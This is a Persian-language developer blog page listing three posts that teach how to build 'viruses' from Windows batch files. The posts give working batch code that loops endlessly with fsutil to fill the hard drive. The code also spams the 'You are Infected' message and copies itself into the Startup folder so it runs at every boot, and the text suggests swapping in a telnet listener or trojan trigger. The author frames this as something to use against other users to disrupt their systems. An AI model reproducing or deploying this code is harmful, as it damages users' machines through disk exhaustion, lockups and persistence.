.NET Developer

طراحی و ساخت نرم افزار و سایت

۳ مطلب با کلمه‌ی کلیدی «batch programing» ثبت شده است

يكشنبه, ۵ آذر ۱۳۹۶، ۱۰:۵۸ ب.ظ م.ب آیرملو
استفاده از فایل bat در سی شارپ+ساخت ویروس

استفاده از فایل bat در سی شارپ+ساخت ویروس

سلام دوستان عزیز

کاربرد این ویروس مختل کردن سیستم کاربر و پر کردن ظرفیت هارد هست البته میتونید با تغییر مقدار این کار رو در چند ثانیه یا چند دقیقه انجام بدید

تو این پست نحوه استفاده از فایل های bat در سی شارپ و نحوه ساخت یه ویروس رو بهتون اموزش میدم 

برای این پروژ از ویژوال 2017 استفاده کردم 

ابتدا با استفاده از دستور streamwriter فایلی با نامی دلخواه ایجاد میکنیم 

البته استفاده از کلاس IO یادتون نره

سپس تو ابجکت ساخته شده از  متد streamدستور نوشتن اولین خط ویروس رو صادر میکنیم

این دستور بصورت حلقه تکرار خواهد بود من در اینجا از حرفD: استفاده کردم یعنی متغییر**

در خط بعدی گزینه ای هست که یه پیام به کاربر نشون میده میتونید این مورد رو خط بزنید 

البته اسلش کردن این پیام تاثیری در اجرای برنامه نداره

ادامه مطلب...
۰۵ آذر ۹۶ ، ۲۲:۵۸ ۰ نظر
م.ب آیرملو

ساخت ویروس با فایل batch

نوعی ویروس بهتون یاد میدم در نوع خودش چالبه و میتونه کار  سیستم رو مختل کنه تقریبا میشه گفت ضرری نداری اما میتونه کار بر رو عصبانی کنه 

اگه هرکس روی این کلیک کنه در عرض چن ثانیه هرادش هنگ میکنه و باید ری استارت کنه البته اگه بندازیش توی استارت اپ که فاتحش باید خوند با دستور  fsutil  و کلید createnew فایلی بوچو میاد که حجمش در انتها اعمال میشه


کد زیر رو توی فایل نوت پد با پسوند بت ذخیره کنید البته اجرا نکنید میتونید برای اجرای چنین فایلهایی از ویندوز مجازی استفاده کنید


@Echo off
:D
msg.exe * You are Infected
اینم پیام برای کاربر هست
fsutil file createnew g:\test.mp3 4096
4096حجم
و بجای mp3
میتونی هر فرمتی بزارید
goto D
۲۰ اسفند ۹۵ ، ۰۲:۵۲ ۰ نظر
م.ب آیرملو

ساخت ویروس با خط فرمان ویندوز

این ویروس  با خط فرمان ویندوز  یا همون cmd ساخته میشه و از حلقه 4 استفاده میکنه 
البته در عمل نمایش پیام مشکلی برای سیتم ایجاد نمیکنه اما اگه بجای نمایش پیام دستور بگوش بودن پورت خاصی برای تلنت و یا دستور فعال سازی تروجان باشه بسیار کاربری میشه

در حقیقت وقتی  goto در نقطه شروع متغییر mt رو فراخوانی میکنه دستور اصلی در حلقه بینهایت وارد میشه و اجرای ان ادامه میابد
 
فقط چند خط

  1. @echo off
    :mt   //  ایجاد نقطه شروع
     msg.exe * message   ///////پیامی که تا خاموشی سیستم در حال اجرا خواهد بود
     goto mt       //فراخوانی حلقه

    ارسال فایل اجرایی به استارت اپ
  1. @echo off
     copy name.bat C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup   
       ///مسیر استارت اپ ویندوز  یعنی کپی فایل اجرایی در استارت اپ ویندوز
    :mt  
     msg.exe * message  ////بجای این پیام هر عملی میتونید جایگزین کنید
     goto mt
    

۱۰ اسفند ۹۵ ، ۱۸:۵۷ ۰ نظر
م.ب آیرملو
logo-samandehi